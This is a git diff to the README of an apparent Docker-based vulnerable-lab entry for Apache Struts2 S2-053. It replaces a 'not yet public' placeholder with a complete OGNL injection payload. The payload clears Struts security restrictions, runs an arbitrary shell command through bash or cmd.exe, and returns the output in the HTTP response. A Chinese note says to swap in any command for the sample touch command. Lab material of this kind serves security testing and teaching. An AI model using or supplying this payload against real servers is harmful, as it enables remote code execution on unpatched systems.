diff --git a/s/struts2/s2-053/README.md b/s/struts2/s2-053/README.md
index 06446c2..14c4852 100644
--- a/s/struts2/s2-053/README.md
+++ b/s/struts2/s2-053/README.md
@@ -35,7 +35,13 @@ $ docker run -d -p 80:8080 medicean/vulapps:s_struts2_s2-053
 
 #### Exp
 
-暂不公开
+命令执行 Exp:
+
+```
+%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='/usr/bin/touch /tmp/vuln').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}
+```
+
+替换Exp中的 `(#cmd='/usr/bin/touch /tmp/vuln')` 中的命令即可
 
 ### 修复建议